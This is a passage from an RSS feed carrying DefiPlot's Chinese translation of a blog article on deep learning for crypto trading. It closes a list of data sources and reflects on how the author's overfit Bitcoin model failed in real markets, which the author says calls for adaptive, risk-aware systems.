Vantage&#xFF08;&#x514D;&#x8D39;&#x7248;&#x7528;&#x4E8E;&#x65B0;&#x95FB;&#x548C;&#x60C5;&#x611F;&#xFF09;&#xFF1A;</strong> &#x4ED6;&#x4EEC;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x4E9B;&#x9884;&#x5904;&#x7406;&#x7684;&#x60C5;&#x611F;&#x5206;&#x6570;&#xFF0C;&#x8FD9;&#x53EF;&#x80FD;&#x662F;&#x5F00;&#x59CB;&#x7684;&#x7EDD;&#x4F73;&#x65B9;&#x5F0F;&#xFF0C;&#x800C;&#x65E0;&#x9700;&#x4ECE;&#x5934;&#x5F00;&#x59CB;&#x6784;&#x5EFA;&#x81EA;&#x5DF1;&#x7684;NLP&#x7BA1;&#x9053;&#x3002;</li><li><strong>Google Trends&#xFF08;&#x901A;&#x8FC7;<code>pytrends</code> - &#x514D;&#x8D39;&#xFF09;&#xFF1A;</strong> &#x5982;&#x6211;&#x6240;&#x8BF4;&#xFF0C;&#x5B83;&#x975E;&#x5E38;&#x9002;&#x5408;&#x8DDF;&#x8E2A;&#x641C;&#x7D22;&#x5174;&#x8DA3;&#x3002;</li></ol><p>&#x6211;&#x5E0C;&#x671B;&#x901A;&#x8FC7;&#x7CFB;&#x7EDF;&#x5730;&#x5904;&#x7406;&#x8FD9;&#x4E9B;&#x6539;&#x8FDB;&#xFF0C;&#x6211;&#x53EF;&#x4EE5;&#x5C06;&#x90A3;&#x4E9B;&#x521D;&#x59CB;&#x8868;&#x73B0;&#x4E0D;&#x4F73;&#x7684;&#x6A21;&#x578B;&#x5851;&#x9020;&#x6210;&#x66F4;&#x590D;&#x6742;&#x3001;&#x9002;&#x5E94;&#x6027;&#x5F3A;&#x4E14;&#xFF08;&#x5E0C;&#x671B;&#xFF09;&#x771F;&#x6B63;&#x76C8;&#x5229;&#x7684;&#x4E1C;&#x897F;&#x3002;<strong>&#x5F53;&#x7136;&#xFF0C;&#x6211;&#x4F1A;&#x5728;&#x6211;&#x7684;GitHub&#x4E0A;&#x8BB0;&#x5F55;&#x6240;&#x6709;&#x8FD9;&#x4E9B;&#x65B0;&#x529F;&#x80FD;&#x7684;&#x4EE3;&#x7801;&#x548C;&#x5B9E;&#x9A8C;&#xFF1A;[&#x94FE;&#x63A5;&#x5230;&#x4F60;&#x7684;GitHub&#x4ED3;&#x5E93;]&#x3002;</strong></p><h2 id="11%E3%80%81%E4%BB%8E%E9%BB%91%E7%AE%B1%E6%8C%AB%E8%B4%A5%E5%88%B0%E7%8E%BB%E7%92%83%E7%AE%B1%E6%8E%A2%E7%B4%A2-%E2%80%94%E2%80%94-%E6%97%85%E7%A8%8B%E4%BB%8D%E5%9C%A8%E7%BB%A7%E7%BB%AD">11&#x3001;&#x4ECE;&#x9ED1;&#x7BB1;&#x632B;&#x8D25;&#x5230;&#x73BB;&#x7483;&#x7BB1;&#x63A2;&#x7D22; &#x2014;&#x2014; &#x65C5;&#x7A0B;&#x4ECD;&#x5728;&#x7EE7;&#x7EED;</h2><p>&#x90A3;&#x4E2A;&#x8BF1;&#x4EBA;&#x7684;&#x201C;&#x9B54;&#x6CD5;&#x9ED1;&#x7BB1;&#x201D;&#x68A6;&#x60F3;&#x2014;&#x2014;&#x4E00;&#x4E2A;&#x590D;&#x6742;&#x7684;&#x7B97;&#x6CD5;&#xFF0C;&#x5B89;&#x9759;&#x5730;&#x4ECE;&#x5E02;&#x573A;&#x4E0A;&#x6253;&#x5370;&#x94B1;&#x2014;&#x2014;&#x6B63;&#x5982;&#x6211;&#x7684;&#x5C0F;&#x5B9E;&#x9A8C;&#x6240;&#x6B8B;&#x9177;&#x5730;&#x8BC1;&#x660E;&#x7684;&#x90A3;&#x6837;&#xFF0C;&#x4E3B;&#x8981;&#x662F;&#x5E7B;&#x60F3;&#xFF0C;&#x5F53;&#x5B83;&#x649E;&#x4E0A;&#x73B0;&#x5B9E;&#x4E16;&#x754C;&#x7684;&#x590D;&#x6742;&#x6027;&#x65F6;&#x3002;&#x6211;&#x7B2C;&#x4E00;&#x6B21;&#x5C1D;&#x8BD5;&#x4F7F;&#x7528;&#x6DF1;&#x5EA6;&#x5B66;&#x4E60;&#x8FDB;&#x884C;&#x6BD4;&#x7279;&#x5E01;&#x4EA4;&#x6613;&#x662F;&#x4E00;&#x4E2A;&#x975E;&#x5E38;&#x9C9C;&#x660E;&#x3001;&#x975E;&#x5E38;&#x771F;&#x5B9E;&#x7684;&#x63D0;&#x9192;&#xFF0C;&#x5373;&#x4EC5;&#x4EC5;&#x56E0;&#x4E3A;&#x4E00;&#x4E2A;&#x6A21;&#x578B;&#x5728;&#x5B66;&#x672F;&#x8BBA;&#x6587;&#x4E2D;&#x770B;&#x8D77;&#x6765;&#x5F88;&#x597D;&#x6216;&#x5177;&#x6709;&#x4F4E;&#x9A8C;&#x8BC1;&#x635F;&#x5931;&#xFF0C;&#x5E76;&#x4E0D;&#x610F;&#x5473;&#x7740;&#x5B83;&#x4F1A;&#x5728;&#x771F;&#x5B9E;&#xFF08;&#x6216;&#x73B0;&#x5B9E;&#x7684;&#x6A21;&#x62DF;&#xFF09;&#x5E02;&#x573A;&#x4E2D;&#x8D5A;&#x94B1;&#x3002;&#x5C24;&#x5176;&#x662F;&#x5728;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x9886;&#x57DF;&#xFF0C;&#x8FD9;&#x5B8C;&#x5168;&#x662F;&#x53E6;&#x4E00;&#x4E2A;&#x7EA7;&#x522B;&#x7684;&#x75AF;&#x72C2;&#x3002;&#x5728;&#x53D7;&#x63A7;&#x3001;&#x65E0;&#x83CC;&#x5B9E;&#x9A8C;&#x5BA4;&#x73AF;&#x5883;&#x4E2D;&#x8FD0;&#x884C;&#x5F97;&#x5F88;&#x597D;&#x7684;&#x4E1C;&#x897F;&#xFF0C;&#x5F80;&#x5F80;&#x5728;&#x9762;&#x5BF9;&#x5E02;&#x573A;&#x7684;&#x6DF7;&#x4E71;&#x3001;&#x4E0D;&#x53EF;&#x9884;&#x6D4B;&#x7684;&#x7F8E;&#x65F6;&#x5D29;&#x6E83;&#x3002;</p><p>&#x90A3;&#x4E9B;&#x75DB;&#x82E6;&#x7684;&#x56DE;&#x64A4;&#x548C;&#x6240;&#x6709;&#x9519;&#x8FC7;&#x7684;&#x673A;&#x4F1A;&#xFF1F;&#x5B83;&#x4EEC;&#x5E76;&#x4E0D;&#x662F;&#x5931;&#x8D25;&#xFF0C;&#x81F3;&#x5C11;&#x4E0D;&#x662F;&#x771F;&#x6B63;&#x7684;&#x5931;&#x8D25;&#x3002;&#x5B83;&#x4EEC;&#x662F;&#x975E;&#x5E38;&#x6709;&#x4EF7;&#x503C;&#x7684;&#x6570;&#x636E;&#x70B9;&#x3002;&#x5B83;&#x4EEC;&#x5C06;&#x4E25;&#x5389;&#x7684;&#x805A;&#x5149;&#x706F;&#x6295;&#x5411;&#x4E86;&#x8FC7;&#x5EA6;&#x62DF;&#x5408;&#x7684;&#x9677;&#x9631;&#x3001;&#x5728;&#x975E;&#x9759;&#x6001;&#x5E02;&#x573A;&#x4E2D;&#x4F7F;&#x7528;&#x9759;&#x6001;&#x6A21;&#x578B;&#x7684;&#x7EAF;&#x7CB9;&#x5929;&#x771F;&#xFF0C;&#x4EE5;&#x53CA;&#x7EDD;&#x5BF9;&#x3001;&#x4E0D;&#x53EF;&#x534F;&#x5546;&#x7684;&#x9700;&#x8981;&#x591A;&#x5C42;&#x6B21;&#x65B9;&#x6CD5;&#xFF0C;&#x8FDC;&#x8FDC;&#x8D85;&#x51FA;&#x4EC5;&#x4EC5;&#x9884;&#x6D4B;&#x4E0B;&#x4E00;&#x4E2A;&#x4EF7;&#x683C;&#x70B9;&#x3002;&#x6784;&#x5EFA;&#x4E00;&#x4E2A;&#x6A21;&#x578B;&#x662F;&#x4E00;&#x56DE;&#x4E8B;&#xFF1B;&#x6784;&#x5EFA;&#x4E00;&#x4E2A;<em>&#x6301;&#x7EED;</em>&#x5DE5;&#x4F5C;&#x5E76;<em>&#x4FDD;&#x6301;&#x5DE5;&#x4F5C;</em>&#x7684;&#x6A21;&#x578B;&#x662F;&#x53E6;&#x4E00;&#x56DE;&#x4E8B;&#xFF0C;&#x968F;&#x7740;&#x4E16;&#x754C;&#x7684;&#x53D8;&#x5316;&#x800C;&#x53D8;&#x5316;&#x3002;</p><p>&#x524D;&#x8FDB;&#x7684;&#x9053;&#x8DEF;&#xFF0C;&#x6211;&#x5728;&#x7B2C;&#x4E8C;&#x90E8;&#x5206;&#x4E2D;&#x6982;&#x8FF0;&#x7684;&#xFF0C;&#x662F;&#x8BD5;&#x56FE;&#x6784;&#x5EFA;&#x4E00;&#x4E2A;&#x66F4;<em>&#x667A;&#x80FD;&#x7684;&#x7CFB;&#x7EDF;</em>&#x3002;&#x6211;&#x60F3;&#x6709;&#x4E00;&#x4E2A;&#x80FD;&#x591F;&#x771F;&#x6B63;&#x611F;&#x53D7;&#x4E0D;&#x540C;&#x5E02;&#x573A;&#x5236;&#x5EA6;&#x7684;&#x7CFB;&#x7EDF;&#xFF0C;&#x80FD;&#x591F;&#x5F15;&#x5165;&#x66F4;&#x4E30;&#x5BCC;&#x7684;&#x6570;&#x636E;&#x5982;&#x60C5;&#x611F;&#xFF0C;&#x80FD;&#x591F;&#x5728;&#x98DE;&#x884C;&#x4E2D;&#x9002;&#x5E94;&#x5176;&#x51B3;&#x7B56;&#xFF0C;&#x5E76;&#x4E14;&#x81F3;&#x5173;&#x91CD;&#x8981;&#x7684;&#x662F;&#xFF0C;&#x77E5;&#x9053;&#x5982;&#x4F55;&#x4FDD;&#x62A4;&#x5176;&#x8D44;&#x672C;&#x3002;&#x8FD9;&#x662F;&#x4ECE;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x9884;&#x6D4B;&#x9ED1;&#x7BB1;&#x6F14;&#x53D8;&#x4E3A;&#x4E00;&#x4E2A;&#x66F4;&#x5168;&#x9762;&#x3001;&#x9002;&#x5E94;&#x6027;&#x5F3A;&#x548C;&#x53EF;&#x7406;&#x89E3;&#x7684;&#x4EA4;&#x6613;&#x7B56;&#x7565;&#x7684;&#x8FC7;&#x7A0B;&#x3002;&#x8FD9;&#x6BB5;&#x65C5;&#x7A0B;&#xFF0C;&#x4ECE;&#x4E00;&#x4E2A;&#x9177;&#x7684;&#x5B66;&#x672F;&#x7406;&#x8BBA;&#x5230;&#xFF08;&#x5E0C;&#x671B;&#xFF09;&#x4E00;&#x4E2A;&#x6301;&#x7EED;&#x76C8;&#x5229;&#x7684;&#x5E02;&#x573A;&#x73B0;&#x5B9E;&#xFF0C;&#x662F;&#x5173;&#x4E8E;&#x8FED;&#x4EE3;&#xFF1A;&#x5B66;&#x4E60;&#x3001;&#x9002;&#x5E94;&#x548C;&#x4E0D;&#x65AD;&#x4F18;&#x5316;&#x3002;&#x800C;&#x8FD9;&#x6BB5;&#x65C5;&#x7A0B;&#xFF0C;&#x5BF9;&#x6211;&#x6765;&#x8BF4;&#xFF0C;&#x80AF;&#x5B9A;&#x8FD8;&#x8FDC;&#x672A;&#x7ED3;&#x675F;&#x3002;&#x6211;&#x5B9E;&#x9645;&#x4E0A;&#x5F88;&#x671F;&#x5F85;&#x5206;&#x4EAB;&#x6211;&#x7684;&#x8FDB;&#x5C55;&#xFF0C;&#x5F53;&#x6211;&#x7740;&#x624B;&#x8FD9;&#x4E9B;&#x4E0B;&#x4E00;&#x6B65;&#x65F6;&#xFF0C;&#x6240;&#x4EE5;&#x5E0C;&#x671B;&#x4F60;&#x80FD;&#x7EE7;&#x7EED;&#x5173;&#x6CE8;&#xFF01;</p><hr><p>&#x539F;&#x6587;&#x94FE;&#x63A5;&#xFF1A;<a href="https://medium.com/@faycal.zouine.usa/deep-learning-for-crypto-trading-when-academic-theory-meets-market-reality-d76e8eaefc1b?ref=defiplot.com">Deep Learning for Crypto Trading: When Academic Theory Meets Market Reality</a></p><p>DefiPlot&#x7FFB;&#x8BD1;&#x6574;&#x7406;&#xFF0C;&#x8F6C;&#x8F7D;&#x8BF7;&#x6807;&#x660E;&#x51FA;&#x5904;</p>]]></content:encoded></item></channel></rss>